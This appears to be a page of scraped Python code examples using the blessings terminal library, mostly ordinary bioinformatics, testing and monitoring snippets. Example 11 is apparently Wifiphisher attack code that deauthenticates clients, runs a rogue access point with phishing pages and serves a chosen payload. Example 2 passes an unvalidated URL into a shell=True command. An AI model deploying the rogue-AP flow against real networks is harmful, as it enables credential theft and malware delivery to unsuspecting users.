Exemplo n.º 1
0
def dump(**kwargs):
    common = common_args(**kwargs)

    t = Terminal()
    ranking_line = "   {prob:6.2f}% → {color}{text}{t.normal}"
    actual_line = "{t.red}Actual{t.normal}: {t.bold}{actual_text}{t.normal}"

    sent_forwards = Sentences(common.file_vector,
                              size=SENTENCE_LENGTH,
                              backwards=False)
    sent_backwards = Sentences(common.file_vector,
                               size=SENTENCE_LENGTH,
                               backwards=True)

    least_agreement = []
    forwards_predictions = []
    backwards_predictions = []
    ranks = []

    contexts = enumerate(zip(chop_prefix(common.tokens, PREFIX_LENGTH),
                             sent_forwards, chop_prefix(sent_backwards)))

    # Note, the index is offset from the true start; i.e., when
    # index == 0, the true index is SENTENCE_LENGTH
    for index, (token, (prefix, x1), (suffix, x2)) in contexts:
        assert x1 == x2
        actual = x1
        print(unvocabularize(prefix[-5:]),
              t.bold_underline(token.value),
              unvocabularize(suffix[:5]))

        prefix_pred = common.forwards_model.predict(prefix)
        suffix_pred = common.backwards_model.predict(suffix)

        # harmonic mean
        mean = consensus(suffix_pred, prefix_pred)

        forwards_predictions.append(index_of_max(prefix_pred))
        backwards_predictions.append(index_of_max(suffix_pred))

        paired_rankings = rank(mean)
        ranked_vocab = list(tuple(zip(*paired_rankings))[0])
        top_5 = paired_rankings[:5]
        top_5_words = ranked_vocab[:5]

        for token_id, weight in top_5:
            color = t.green if token_id == actual else ''
            text = vocabulary.to_text(token_id)
            prob = weight * 100.0
            print(ranking_line.format_map(locals()))

        ranks.append(ranked_vocab.index(actual) + 1)
        min_token_id, min_prob = paired_rankings[0]
        least_agreement.append(Agreement(min_prob, index))

        if actual not in top_5_words:
            actual_text = vocabulary.to_text(actual)
            print(actual_line.format_map(locals()))

        print()

        if not ranks:
            print(t.red("Could not analyze file!"), file=sys.stderr)
            return

    print("MRR: ", mean_reciprocal_rank(ranks))
    print("Lowest rank:", max(ranks))
    print("Time at #1: {:.2f}%".format(
          100 * sum(1 for rank in ranks if rank == 1) / len(ranks)))
    print()

    forwards_text = [vocabulary.to_text(num) for num in forwards_predictions]
    backwards_text = [vocabulary.to_text(num) for num in backwards_predictions]

    least_agreement.sort()
    # Compensate for offset indices
    file_vector = common.file_vector[SENTENCE_LENGTH:]
    tokens_text = [tok.value for tok in common.tokens[PREFIX_LENGTH:]]
    for disagreement in least_agreement[:5]:
        print(disagreement.probability)
        prefix = ' '.join(disagreement.prefix(tokens_text))
        suffix = ' '.join(disagreement.suffix(tokens_text))

        print("   ", prefix, t.yellow(forwards_text @ disagreement), suffix)
        print("   ", prefix, t.underline(tokens_text @ disagreement), suffix)
        print("   ", prefix, t.blue(backwards_text @ disagreement), suffix)
        print()
Exemplo n.º 2
0
scaled down to only handle singular fasta files (with the path to that file
provided by processor.py).
"""

import os
import subprocess
from blessings import Terminal

import argparse
parser = argparse.ArgumentParser()
parser.add_argument(
    "URL", help="The URL to the file we want to retrive information about")
args = parser.parse_args()
URL = args.URL

colours = Terminal()

QUAST = 'python PATH/TO/quast.py '  #change this to match the quast path on a different computer
quast_temp_dir = 'PATH/TO/ROOT/fasta_files/quast_results'  #where we will store the original quast reports
report_tsv = 'PATH/TO/ROOT/fasta_files/quast_results/report.tsv'  #path to the most recent quast report
out_dir = 'PATH/TO/ROOT/fasta_files/QUAST_reports/'  #the path to where the result files will be transported

file_name = os.path.basename(
    URL
)[:
  -6]  #.rstrip(".fasta") #extracts the filename of the file being processed & removes the ".fasta"

cmdln = QUAST + URL + " -o " + quast_temp_dir + " --no-plots"  #the QUAST commandline call. Removes plots for greater speed!
process = subprocess.Popen(cmdln, shell=True)  #executes the desired program
process.wait()  #waits until the command has finished processing before ending
process = subprocess.Popen(
Exemplo n.º 3
0
parser.add_argument(
    "URL", help="The URL to the file we want to retrive information about")
parser.add_argument(
    "--solo",
    "-s",
    help=
    "Tells this program that it will have to upload information to the database itself",
    action="store_true")
parser.add_argument(
    "--genome",
    "-g",
    help="The name of the genome this PROKKA action is based around")
args = parser.parse_args()
URL = args.URL

colours = Terminal()  #for terminal outputs with gorgeous colours!


def list_of_toxins(path, file_name):
    """
    Function that takes the full path to a fasta toxin file. It will then 
    determine the number of toxins in the file. It will then make a new temp
    file for evey toxin in the file (if more than one toxin, else it will return
    the orginal path it was given, in list form) and return the path to these
    files in list/tuple form with the desired file names appended to the tuple.
    """
    toxin = open(path, 'r')
    temp = []
    output = []
    hold = ""
    counter = 0
Exemplo n.º 4
0
 def __init__(self, question, terminal=None, *args, **kwargs):
     super(BaseConsoleRender, self).__init__(*args, **kwargs)
     self.question = question
     self.terminal = terminal or Terminal()
     self.answers = {}
Exemplo n.º 5
0
 def __init__(self, stdout=sys.stdout):
     self.stdout = stdout
     self.term = Terminal(stream=stdout)
     self.counter = 0
     self.width = self.term.width if self.term.is_a_tty else 80  # when testing t.width is None
Exemplo n.º 6
0
    def __terminal_expected__(self, h5file, iteration, si, sj, tau, h5key, dim):
        from blessings import Terminal

        self.t = Terminal()
        h = int(self.t.height / 4 * 3.75)
        # We'll figure out how to subsample the timepoints...
        w = self.t.width
        if self.dim == 3:
            in_tup = (iteration-1, si, sj)
        else:
            in_tup = (iteration-1, si)
        in_tup = (iteration-1, dim)
        try:
            yupper = (np.max(h5file) / tau) * 2
        except:
            in_tup = (iteration-1)
            yupper = (np.max(h5file) / tau) * 2
        ylower = (np.min(h5file) / tau) * 2
        # Here are points pertaining to height.
        if yupper > 0:
            yupper = (np.max(h5file) / tau) * 1.2
            ylower = (np.min(h5file) / tau) / 2
            scale = np.array([0.0] + [ylower+i*(yupper-ylower)/np.float(h) for i in range(0, h)])[::-1]
        else:
            yupper = (np.max(h5file) / tau) / 2
            ylower = (np.min(h5file) / tau) * 1.2
            scale = np.array([ylower+i*(yupper-ylower)/np.float(h) for i in range(0, h)] + [0.0])[::-1]
        if iteration > w:
            block_size = iteration / w
        else:
            block_size = 1

        with self.t.fullscreen():
            try:
                for x in range(0, w-12):
                    iter = x * block_size
                    if self.dim == 3:
                        in_tup = (iter-1, si, sj)
                    else:
                        in_tup = (iter-1, si)
                    in_tup = (iter-1, dim)
                    try:
                        yupper = (h5file[in_tup] / tau)
                    except:
                        in_tup = (iter-1)
                        yupper = (h5file[in_tup] / tau)
                    ylower = (h5file[in_tup] / tau)
                    ci = np.digitize([yupper, ylower], scale)
                    if x == 0:
                        for y in range(0, h+1):
                            with self.t.location(0, y):
                                print(self.t.bold(self.t.red('{0:.7f}|'.format(scale[y]))))
                    for y in range(ci[0], ci[1]):
                        print(self.t.move(y, x+12) + self.t.on_blue(' '))
                            #print(self.t.on_blue(' '))
                    print(self.t.move(np.digitize(h5file[in_tup]/tau, scale), x+12) + self.t.on_blue('-'))

                for x in range(0, w-12, w/10):
                    if x == 0:
                        with self.t.location(x, h+1):
                            print('Iteration| ')
                    with self.t.location(x+12, h+1):
                        iter = x * block_size
                        print(self.t.blue(str(iter)))
            except:
                pass

            with self.t.location(0, h+2):
                # We need to improve this.
                print("{} from iter 1 to {}".format(h5key, self.iteration))
            with self.t.location(0, h+3):
                input("Press enter to continue.")
Exemplo n.º 7
0
def info_out(msgs):
    term = Terminal()
    _out(msgs, None, term.blue)
Exemplo n.º 8
0
 def __init_tree__(self):
     t=Terminal()
     self.n=ProgressTree(term=t)
     self.n.make_room(self.graph_data)
Exemplo n.º 9
0
def print_exit_msg():
    term = Terminal()
    print "\n\nEnd of Line.\n\n"
    print("                     " + term.bold(term.green("<")) + "bn" +
          term.bold(term.green("/>")))
    print "                Benito-Nemitz Inc."
Exemplo n.º 10
0
class ColourTextTestResult(result.TestResult):
    """
    A test result class that prints colour formatted text results to a stream.

    Based on https://github.com/python/cpython/blob/3.3/Lib/unittest/runner.py
    """
    formatter = formatters.Terminal256Formatter()
    lexer = Lexer()
    separator1 = '=' * 70
    separator2 = '-' * 70
    indent = ' ' * 4

    _terminal = Terminal()
    colours = {
        None: text_type,
        'error': _terminal.bold_red,
        'expected': _terminal.blue,
        'fail': _terminal.bold_yellow,
        'skip': text_type,
        'success': _terminal.green,
        'title': _terminal.blue,
        'unexpected': _terminal.bold_red,
    }

    _test_class = None

    def __init__(self, stream, descriptions, verbosity):
        super(ColourTextTestResult, self).__init__(stream, descriptions,
                                                   verbosity)
        self.stream = stream
        self.showAll = verbosity > 1
        self.dots = verbosity == 1
        self.descriptions = descriptions

    def getShortDescription(self, test):
        doc_first_line = test.shortDescription()
        if self.descriptions and doc_first_line:
            return self.indent + doc_first_line
        return self.indent + test._testMethodName

    def getLongDescription(self, test):
        doc_first_line = test.shortDescription()
        if self.descriptions and doc_first_line:
            return '\n'.join((str(test), doc_first_line))
        return str(test)

    def getClassDescription(self, test):
        test_class = test.__class__
        doc = test_class.__doc__
        if self.descriptions and doc:
            return doc.split('\n')[0].strip()
        return strclass(test_class)

    def startTest(self, test):
        super(ColourTextTestResult, self).startTest(test)
        if self.showAll:
            if self._test_class != test.__class__:
                self._test_class = test.__class__
                title = self.getClassDescription(test)
                self.stream.writeln(self.colours['title'](title))
            self.stream.write(self.getShortDescription(test))
            self.stream.write(' ... ')
            self.stream.flush()

    def printResult(self, short, extended, colour_key=None):
        colour = self.colours[colour_key]
        if self.showAll:
            self.stream.writeln(colour(extended))
        elif self.dots:
            self.stream.write(colour(short))
            self.stream.flush()

    def addSuccess(self, test):
        super(ColourTextTestResult, self).addSuccess(test)
        self.printResult('.', 'ok', 'success')

    def addError(self, test, err):
        super(ColourTextTestResult, self).addError(test, err)
        self.printResult('E', 'ERROR', 'error')

    def addFailure(self, test, err):
        super(ColourTextTestResult, self).addFailure(test, err)
        self.printResult('F', 'FAIL', 'fail')

    def addSkip(self, test, reason):
        super(ColourTextTestResult, self).addSkip(test, reason)
        self.printResult('s', 'skipped {0!r}'.format(reason), 'skip')

    def addExpectedFailure(self, test, err):
        super(ColourTextTestResult, self).addExpectedFailure(test, err)
        self.printResult('x', 'expected failure', 'expected')

    def addUnexpectedSuccess(self, test):
        super(ColourTextTestResult, self).addUnexpectedSuccess(test)
        self.printResult('u', 'unexpected success', 'unexpected')

    def printErrors(self):
        if self.dots or self.showAll:
            self.stream.writeln()
        self.printErrorList('ERROR', self.errors)
        self.printErrorList('FAIL', self.failures)

    def printErrorList(self, flavour, errors):
        colour = self.colours[flavour.lower()]

        for test, err in errors:
            self.stream.writeln(self.separator1)
            title = '%s: %s' % (flavour, self.getLongDescription(test))
            self.stream.writeln(colour(title))
            self.stream.writeln(self.separator2)
            self.stream.writeln(highlight(err, self.lexer, self.formatter))
Exemplo n.º 11
0
    def start(self):
        # Parse args
        global args, APs, mon_MAC
        args = parse_args()

        # Check args
        check_args(args)

        # Are you root?
        if os.geteuid():
            sys.exit('[' + R + '-' + W + '] Please run as root')

        # TODO: We should have more checks here:
        # Is anything binded to our HTTP(S) ports?
        # Maybe we should save current iptables rules somewhere

        # get interfaces for monitor mode and AP mode and set the monitor interface
        # to monitor mode. shutdown on any errors
        try:
            if args.internetinterface:
                internet_interface = self.network_manager.set_internet_iface(
                    args.internetinterface)
            if not args.nojamming:
                if args.jamminginterface and args.apinterface:
                    mon_iface = self.network_manager.get_jam_iface(
                        args.jamminginterface)
                    ap_iface = self.network_manager.get_ap_iface(
                        args.apinterface)
                else:
                    mon_iface, ap_iface = self.network_manager.find_interface_automatically(
                    )
                self.network_manager.set_jam_iface(mon_iface.get_name())
                self.network_manager.set_ap_iface(ap_iface.get_name())
                # display selected interfaces to the user
                print(
                    "[{0}+{1}] Selecting {0}{2}{1} interface for the deauthentication "
                    "attack\n[{0}+{1}] Selecting {0}{3}{1} interface for creating the "
                    "rogue Access Point").format(G, W, mon_iface.get_name(),
                                                 ap_iface.get_name())
                # randomize the mac addresses
                if not args.no_mac_randomization:
                    if not args.mac_ap_interface:
                        self.network_manager.randomize_ap_interface_mac_addr()
                    else:
                        self.network_manager.randomize_ap_interface_mac_addr(
                            args.mac_ap_interface)
                    if not args.mac_deauth_interface:
                        self.network_manager.randomize_deauth_interface_mac_addr(
                        )
                    else:
                        self.network_manager.randomize_deauth_interface_mac_addr(
                            args.mac_deauth_interface)
            else:
                if args.apinterface:
                    ap_iface = self.network_manager.get_ap_iface(
                        interface_name=args.apinterface)
                else:
                    ap_iface = self.network_manager.get_ap_iface()
                self.network_manager.set_ap_iface(ap_iface.get_name())
                mon_iface = ap_iface

                if not args.no_mac_randomization:
                    if not args.mac_ap_interface:
                        self.network_manager.randomize_ap_interface_mac_addr()
                    else:
                        self.network_manager.randomize_ap_interface_mac_addr(
                            args.mac_ap_interface)

                print(
                    "[{0}+{1}] Selecting {0}{2}{1} interface for creating the "
                    "rogue Access Point").format(G, W, ap_iface.get_name())
                # randomize the mac addresses
                if not args.no_mac_randomization:
                    ap_iface.randomize_interface_mac(args.mac_ap_interface)
            kill_interfering_procs()
            self.network_manager.set_interface_mode(mon_iface, "monitor")
        except (interfaces.NotEnoughInterfacesFoundError,
                interfaces.JammingInterfaceInvalidError,
                interfaces.ApInterfaceInvalidError,
                interfaces.NoApInterfaceFoundError,
                interfaces.NoMonitorInterfaceFoundError,
                interfaces.DeauthInterfaceMacAddrInvalidError,
                interfaces.ApInterfaceMacAddrInvalidError) as err:
            print("[{0}!{1}] " + str(err)).format(R, W)
            time.sleep(1)
            self.stop()

        if not args.no_mac_randomization:
            print("[{0}+{1}] " + ap_iface.get_name() +
                  ' mac address becomes ' + ap_iface.get_current_mac()).format(
                      G, W)
            if not args.nojamming:
                print("[{0}+{1}] " + mon_iface.get_name() +
                      ' mac address becomes ' +
                      mon_iface.get_current_mac()).format(G, W)

        if args.internetinterface:
            self.fw.nat(ap_iface.get_name(), args.internetinterface)
            set_ip_fwd()
        else:
            self.fw.redirect_requests_localhost()
        set_route_localnet()

        if not args.internetinterface:
            self.network_manager.up_ifaces([ap_iface, mon_iface])

        print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables'
        time.sleep(1)

        if args.essid:
            essid = args.essid
            channel = str(CHANNEL)
            ap_mac = None
            enctype = None
        else:
            # let user choose access point
            access_point = curses.wrapper(select_access_point, mon_iface,
                                          self.mac_matcher)

            # if the user has chosen a access point continue
            # otherwise shutdown
            if access_point:
                # store choosen access point's information
                essid = access_point.get_name()
                channel = access_point.get_channel()
                ap_mac = access_point.get_mac_address()
                enctype = access_point.get_encryption()
            else:
                self.stop()
        # create a template manager object
        self.template_manager = phishingpage.TemplateManager()
        # get the correct template
        template = select_template(args.phishingscenario,
                                   self.template_manager)

        print("[" + G + "+" + W + "] Selecting " +
              template.get_display_name() + " template")

        # payload selection for browser plugin update
        if template.has_payload():
            payload_path = False
            # copy payload to update directory
            while not payload_path or not os.path.isfile(payload_path):
                # get payload path
                payload_path = raw_input(
                    "[" + G + "+" + W + "] Enter the [" + G + "full path" + W +
                    "] to the payload you wish to serve: ")
                if not os.path.isfile(payload_path):
                    print '[' + R + '-' + W + '] Invalid file path!'
            print '[' + T + '*' + W + '] Using ' + G + payload_path + W + ' as payload '
            copyfile(payload_path,
                     PHISHING_PAGES_DIR + template.get_payload_path())

        APs_context = []
        for i in APs:
            APs_context.append({
                'channel':
                APs[i][0] or "",
                'essid':
                APs[i][1] or "",
                'bssid':
                APs[i][2] or "",
                'vendor':
                self.mac_matcher.get_vendor_name(APs[i][2]) or ""
            })

        template.merge_context({'APs': APs_context})

        # only get logo path if MAC address is present
        ap_logo_path = False
        if ap_mac:
            ap_logo_path = template.use_file(
                self.mac_matcher.get_vendor_logo_path(ap_mac))

        template.merge_context({
            'target_ap_channel':
            channel or "",
            'target_ap_essid':
            essid or "",
            'target_ap_bssid':
            ap_mac or "",
            'target_ap_encryption':
            enctype or "",
            'target_ap_vendor':
            self.mac_matcher.get_vendor_name(ap_mac) or "",
            'target_ap_logo_path':
            ap_logo_path or ""
        })

        # We want to set this now for hostapd. Maybe the interface was in "monitor"
        # mode for network discovery before (e.g. when --nojamming is enabled).
        self.network_manager.set_interface_mode(ap_iface, "managed")
        # Start AP
        self.access_point.set_interface(ap_iface.get_name())
        self.access_point.set_channel(channel)
        self.access_point.set_essid(essid)
        if args.presharedkey:
            self.access_point.set_psk(args.presharedkey)
        if args.internetinterface:
            self.access_point.set_internet_interface(args.presharedkey)
        print '[' + T + '*' + W + '] Starting the fake access point...'
        try:
            self.access_point.start()
            self.access_point.start_dhcp_dns()
        except:
            self.stop()

        # With configured DHCP, we may now start the web server
        if not args.internetinterface:
            # Start HTTP server in a background thread
            print '[' + T + '*' + W + '] Starting HTTP/HTTPS server at ports ' + str(
                PORT) + ", " + str(SSL_PORT)
            webserver = Thread(target=phishinghttp.runHTTPServer,
                               args=(NETWORK_GW_IP, PORT, SSL_PORT, template))
            webserver.daemon = True
            webserver.start()

            time.sleep(1.5)

        # We no longer need mac_matcher
        self.mac_matcher.unbind()

        clients_APs = []
        APs = []
        mon_MAC = mon_mac(mon_iface.get_name())

        deauthentication = None
        if not args.nojamming:
            monchannel = channel
            # set the channel on the deauthenticating interface
            mon_iface.set_channel(int(channel))

            # start deauthenticating all client on target access point
            deauthentication = deauth.Deauthentication(ap_mac,
                                                       mon_iface.get_name())
            if args.lure10_exploit:
                deauthentication.add_lure10_beacons(LOCS_DIR +
                                                    args.lure10_exploit)
            deauthentication.deauthenticate()

        # Main loop.
        try:
            term = Terminal()
            with term.fullscreen():
                while 1:
                    term.clear()
                    with term.hidden_cursor():
                        print term.move(0, term.width - 30) + "|"
                        print term.move(
                            1, term.width -
                            30) + "|" + " " + term.bold_blue("Wifiphisher " +
                                                             VERSION)
                        print term.move(
                            2, term.width - 30) + "|" + " ESSID: " + essid
                        print term.move(
                            3, term.width - 30) + "|" + " Channel: " + channel
                        print term.move(
                            4, term.width - 30
                        ) + "|" + " AP interface: " + ap_iface.get_name()
                        print term.move(5, term.width - 30) + "|" + "_" * 29
                        print term.move(
                            1, 0) + term.blue("Deauthenticating clients: ")
                        if not args.nojamming:
                            # only show clients when jamming
                            if deauthentication.get_clients():
                                # show the 5 most recent devices
                                for client in deauthentication.get_clients(
                                )[-5:]:
                                    print client
                        print term.move(6, 0) + term.blue("DHCP Leases: ")
                        if os.path.isfile('/var/lib/misc/dnsmasq.leases'):
                            proc = check_output(
                                ['tail', '-5', '/var/lib/misc/dnsmasq.leases'])
                            print term.move(7, 0) + proc
                        print term.move(13, 0) + term.blue("HTTP requests: ")
                        if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
                            proc = check_output([
                                'tail', '-5', '/tmp/wifiphisher-webserver.tmp'
                            ])
                            print term.move(14, 0) + proc
                        if phishinghttp.terminate and args.quitonsuccess:
                            raise KeyboardInterrupt
        except KeyboardInterrupt:
            if deauthentication != None:
                deauthentication.on_exit()
            self.stop()
Exemplo n.º 12
0
def main():
    parser = argparse.ArgumentParser(
        description="Command line tool to watch torrents")
    parser.add_argument("name", help="The name of the series or movie")

    parser.add_argument("season_number",
                        default=None,
                        nargs="?",
                        type=int,
                        help="Season number")
    parser.add_argument("episode_number",
                        default=None,
                        nargs="?",
                        type=int,
                        help="Episode number")
    parser.add_argument("--sub",
                        nargs='?',
                        default=None,
                        help="Subtitle language")
    parser.add_argument("--serve", action="store_true", help="Do not run VLC")
    parser.add_argument("--quality",
                        nargs='?',
                        default=None,
                        help="quality of the video [normal|hd|fullhd]")
    parser.add_argument("--daemon",
                        action="store_true",
                        help="Daemonize the process"),
    parser.add_argument("--port",
                        "-p",
                        default="8888",
                        help="The port where the stream will be served")
    parser.add_argument("--verbose",
                        action="store_true",
                        default=None,
                        help="Show _all_ the logs")
    parser.add_argument("--player",
                        default='vlc',
                        help="Player to use. vlc|omxplayer|chromecast")
    parser.add_argument(
        "--search",
        default=None,
        help=
        "search lib to use (only option right now is 'kat' for kickass torrents)"
    )
    parser.add_argument("--nocache",
                        action="store_false",
                        default=True,
                        help="Search for the torrent again"),

    args = parser.parse_args()

    log_set_up(args.verbose)
    log.info("Starting touchandgo")
    log.debug("Running Python %s on %r", sys.version_info, sys.platform)
    log.debug("Libtorrent version: %s", libtorrent_version)

    try:
        if args.sub is not None:
            Language(args.sub)

        touchandgo = SearchAndStream(args.name,
                                     season=args.season_number,
                                     episode=args.episode_number,
                                     sub_lang=args.sub,
                                     serve=args.serve,
                                     quality=args.quality,
                                     port=args.port,
                                     player=args.player,
                                     search=args.search,
                                     use_cache=args.nocache)
        if args.daemon:

            def callback():
                touchandgo.serve = True
                touchandgo.watch()

            daemonize(args, callback)
        else:
            term = Terminal()
            with term.fullscreen():
                touchandgo.watch()
    except ValueError as e:
        print(e)
Exemplo n.º 13
0
 def print_status(self, workers):
     term = Terminal()
     with term.location():
         for thread, worker in workers.items():
             self.print_worker(worker)
         print '{}'.format(term.clear_eos)
Exemplo n.º 14
0
    def print_to(
            self,
            fp,
            with_colors=True,  # deprecated arg
            show_cmd=False,
            show_user=False,
            show_pid=False,
            show_power=None,
            gpuname_width=16,
            term=Terminal(),
    ):
        # color settings
        colors = {}

        def _conditional(cond_fn,
                         true_value,
                         false_value,
                         error_value=term.bold_black):
            try:
                if cond_fn(): return true_value
                else: return false_value
            except:
                return error_value

        colors['C0'] = term.normal
        colors['C1'] = term.cyan
        colors['CName'] = term.blue
        colors['CTemp'] = _conditional(
            lambda: int(self.entry['temperature.gpu']) < 50, term.red,
            term.bold_red)
        colors['CMemU'] = term.bold_yellow
        colors['CMemT'] = term.yellow
        colors['CMemP'] = term.yellow
        colors['CUser'] = term.bold_black  # gray
        colors['CUtil'] = _conditional(
            lambda: int(self.entry['utilization.gpu']) < 30, term.green,
            term.bold_green)
        colors['CPowU'] = _conditional(
            lambda: float(self.entry['power.draw']) / self.entry[
                'enforced.power.limit'] < 0.4, term.magenta, term.bold_magenta)
        colors['CPowL'] = term.magenta

        if not with_colors:
            for k in list(colors.keys()):
                colors[k] = ''

        def _repr(v, none_value='??'):
            if v is None: return none_value
            else: return str(v)

        # build one-line display information
        # we want power use optional, but if deserves being grouped with temperature and utilization
        reps = "%(C1)s[{entry[index]}]%(C0)s %(CName)s{entry[name]:{gpuname_width}}%(C0)s |" \
               "%(CTemp)s{entry[temperature.gpu]:>3}'C%(C0)s, %(CUtil)s{entry[utilization.gpu]:>3} %%%(C0)s"

        if show_power:
            reps += ",  %(CPowU)s{entry[power.draw]:>3}%(C0)s "
            if show_power is True or 'limit' in show_power:
                reps += "/ %(CPowL)s{entry[enforced.power.limit]:>3}%(C0)s "
                reps += "%(CPowL)sW%(C0)s"
            else:
                reps += "%(CPowU)sW%(C0)s"

        reps += " | %(C1)s%(CMemU)s{entry[memory.used]:>5}%(C0)s / %(CMemT)s{entry[memory.total]:>5}%(C0)s MB"
        reps = (reps) % colors
        reps = reps.format(
            entry={k: _repr(v)
                   for (k, v) in self.entry.items()},
            gpuname_width=gpuname_width)
        reps += " |"

        def process_repr(p):
            r = ''
            if not show_cmd or show_user:
                r += "{CUser}{}{C0}".format(_repr(p['username'], '--'),
                                            **colors)
            if show_cmd:
                if r: r += ':'
                r += "{C1}{}{C0}".format(
                    _repr(p.get('command', p['pid']), '--'), **colors)

            if show_pid:
                r += ("/%s" % _repr(p['pid'], '--'))
            r += '({CMemP}{}M{C0})'.format(_repr(p['gpu_memory_usage'], '?'),
                                           **colors)
            return r

        if self.entry['processes'] is not None:
            for p in self.entry['processes']:
                reps += ' ' + process_repr(p)
        else:
            # None (not available)
            reps += ' (Not Supported)'

        fp.write(reps)
        return fp
Exemplo n.º 15
0
cert_path = storage / 'certs'
nginx_path = storage / 'nginx'

# Check if an update is available
repo = Repo(str(repo_path))
old_hash = repo.head.object.hexsha
repo.remotes.origin.fetch()
repo.git.reset('--hard', repo.active_branch.tracking_branch().name)
new_hash = repo.head.object.hexsha

generate_config = args.forced
if old_hash != new_hash:
    generate_config = True
    print(
        '{t.normal}Detected change on {t.bold}{t.yellow}{branch}{t.normal}. Updated from {t.bold}{t.magenta}{old}{t.normal} to {t.bold}{t.magenta}{new}{t.normal}.'
        .format(t=Terminal(),
                branch=repo.active_branch.name,
                old=old_hash,
                new=new_hash))

renew_certificates = False
if not generate_config:
    # Quick scan for certificates that should be renewed
    for cert in cert_path.glob('**/*.crt'):
        if should_renew_cert(cert):
            renew_certificates = True
            break
    if not renew_certificates:
        # No need to continue
        sys.exit()
Exemplo n.º 16
0
def poll_chargepoint_stations(scraper,
                              stations_of_interest=None,
                              stations_to_ignore=None):
    if stations_to_ignore is None:
        stations_to_ignore = []
    if stations_of_interest is None:
        stations_of_interest = scraper.get_station_data()['stations'].keys()
    stations_of_interest = [
        x for x in stations_of_interest if x not in stations_to_ignore
    ]
    old_free_spots = None
    old_open_stations = []
    t = Terminal()
    try:
        i = 0
        while True:
            new_free_spots = 0
            new_open_stations = []
            try:
                data = scraper.get_station_data()
            except ChargePointAuthenticationExpiredException:
                data = scraper.get_station_data()
            if i % 10 == 0:
                print '\t\t\t' + '\t'.join(
                    [station for station in stations_of_interest])
            line_parts = [data['time'].strftime('%Y/%m/%d %H:%M:%S')]
            for k in stations_of_interest:
                line_part = '%d / %d'.center(9) % (
                    data['stations'][k]['available'],
                    data['stations'][k]['total'])
                if data['stations'][k]['available'] == data['stations'][k][
                        'total']:
                    line_part = t.black_on_green(line_part)
                elif data['stations'][k]['available'] == 0:
                    line_part = t.black_on_red(line_part)
                else:
                    line_part = t.black_on_yellow(line_part)
                line_parts.append(line_part)
                new_free_spots += data['stations'][k]['available']
                new_open_stations.extend([k] *
                                         data['stations'][k]['available'])
            print '\t'.join(line_parts)
            if old_free_spots is not None and new_free_spots > old_free_spots:
                newly_open_stations = new_open_stations
                for elem in old_open_stations:
                    try:
                        newly_open_stations.remove(elem)
                    except ValueError:
                        pass
                title = '%s station(s) are open' % ', '.join(
                    newly_open_stations)
                message = '%d Free Spots' % new_free_spots
                if _platform == 'darwin':
                    Notifier.notify(title=title, message=message)
                send_boxcar_notification(title=title, message=message)
            old_free_spots = new_free_spots
            old_open_stations = new_open_stations
            i += 1
            sleep(60)
    except KeyboardInterrupt:
        pass
    except KeyError:
        exit("Unexpected response json.")
Exemplo n.º 17
0
    def __terminal_ci__(self, h5file, iteration, si, sj, tau, h5key):
        from blessings import Terminal

        self.t = Terminal()
        h = int(self.t.height / 4 * 3.75)
        # We'll figure out how to subsample the timepoints...
        w = self.t.width
        if self.dim == 3:
            in_tup = (iteration-1, si, sj)
        else:
            in_tup = (iteration-1, si)
        yupper = (h5file[h5key]['ci_ubound'][in_tup] / tau) * 2
        ylower = (h5file[h5key]['ci_lbound'][in_tup] / tau) / 2
        # Here are points pertaining to height.
        scale = np.array([0.0] + [ylower+i*(yupper-ylower)/np.float(h) for i in range(0, h)])[::-1]
        if iteration > w:
            block_size = iteration / w
        else:
            block_size = 1

        with self.t.fullscreen():
            try:
                for x in range(0, w-12):
                    iter = x * block_size
                    if self.dim == 3:
                        in_tup = (iter-1, si, sj)
                    else:
                        in_tup = (iter-1, si)
                    yupper = (h5file[h5key]['ci_ubound'][in_tup] / tau)
                    ylower = (h5file[h5key]['ci_lbound'][in_tup] / tau)
                    ci = np.digitize([yupper, ylower], scale)
                    if x == 0:
                        for y in range(0, h+1):
                            with self.t.location(0, y):
                                print(self.t.bold(self.t.red('{0:.7f}|'.format(scale[y]))))
                    for y in range(ci[0], ci[1]):
                        #with self.t.location(x+12, y):
                        print(self.t.move(y, x+12) + self.t.on_blue(' '))
                            #print(self.t.on_blue(' '))
                    #with self.t.location(x+12, np.digitize(h5file['rate_evolution']['expected'][iter-1, si, sj]/tau, scale)):
                    #        print(self.t.on_blue('-'))
                    print(self.t.move(np.digitize(h5file[h5key]['expected'][in_tup]/tau, scale), x+12) + self.t.on_blue('-'))

                for x in range(0, w-12, w/10):
                    if x == 0:
                        with self.t.location(x, h+1):
                            print('Iteration| ')
                    with self.t.location(x+12, h+1):
                        iter = x * block_size
                        print(self.t.blue(str(iter)))
            except:
                pass

            with self.t.location(0, h+2):
                # We need to improve this.
                #if h5key == 'rate_evolution':
                #    print("k_ij from {} to {} from iter 1 to {}".format(self.state_labels[si], self.state_labels[sj], self.iteration))
                #elif h5key == 'conditional_flux_evolution':
                #    print("i->j flux from {} to {} from iter 1 to {}".format(self.state_labels[si], self.state_labels[sj], self.iteration))
                if self.dim == 3:
                    print("{} from {} to {} from iter 1 to {}".format(h5key, self.state_labels[si], self.state_labels[sj], self.iteration))
                else:
                    print("{} of state {} from iter 1 to {}".format(h5key, self.state_labels[si], self.iteration))
            with self.t.location(0, h+3):
                input("Press enter to continue.")
Exemplo n.º 18
0
 def __init__(self, cmdargs=None, doc=""):
     self.t = Terminal()
     if not cmdargs:
         cmdargs = None
     self.cmdargs = cmdargs
     self.doc = doc
Exemplo n.º 19
0
        if h in hashes:
            continue
        else:
            hashes.add(h)
            unique.append(p)
    duplicates = len(ps) - len(hashes)
    if duplicates > 0:
        print(INFORMATIONAL + "Ignoring " + str(duplicates) +
              " duplicate protocols (identical hashes)")
    return unique


VERSION = "Tamarin Tester v1.0"
DESCRIPTION = "tamarin-tester is a tool for testing the correctness of tamarin-prover builds by comparing their output to known-good builds. For a more comprehensive overview, consult the README distributed with this program. In general, you may run tests against benchmark files or generate these benchmark files yourself. Authored by Dennis Jackson, Computer Science Dept, University of Oxford."

TERMINAL = Terminal()

ERROR = TERMINAL.bold(TERMINAL.red("ERROR "))
INFORMATIONAL = TERMINAL.bold(TERMINAL.blue("INFORMATIONAL "))
WARNING = TERMINAL.yellow(TERMINAL.bold("WARNING "))

CHECK_TIMEOUT = TERMINAL.red(TERMINAL.bold("CHECK TIMEOUT "))
MALFORMED = TERMINAL.bold(TERMINAL.red("MALFORMED "))
BENCH_TIMEOUT = TERMINAL.red(TERMINAL.bold("BENCH TIMEOUT "))
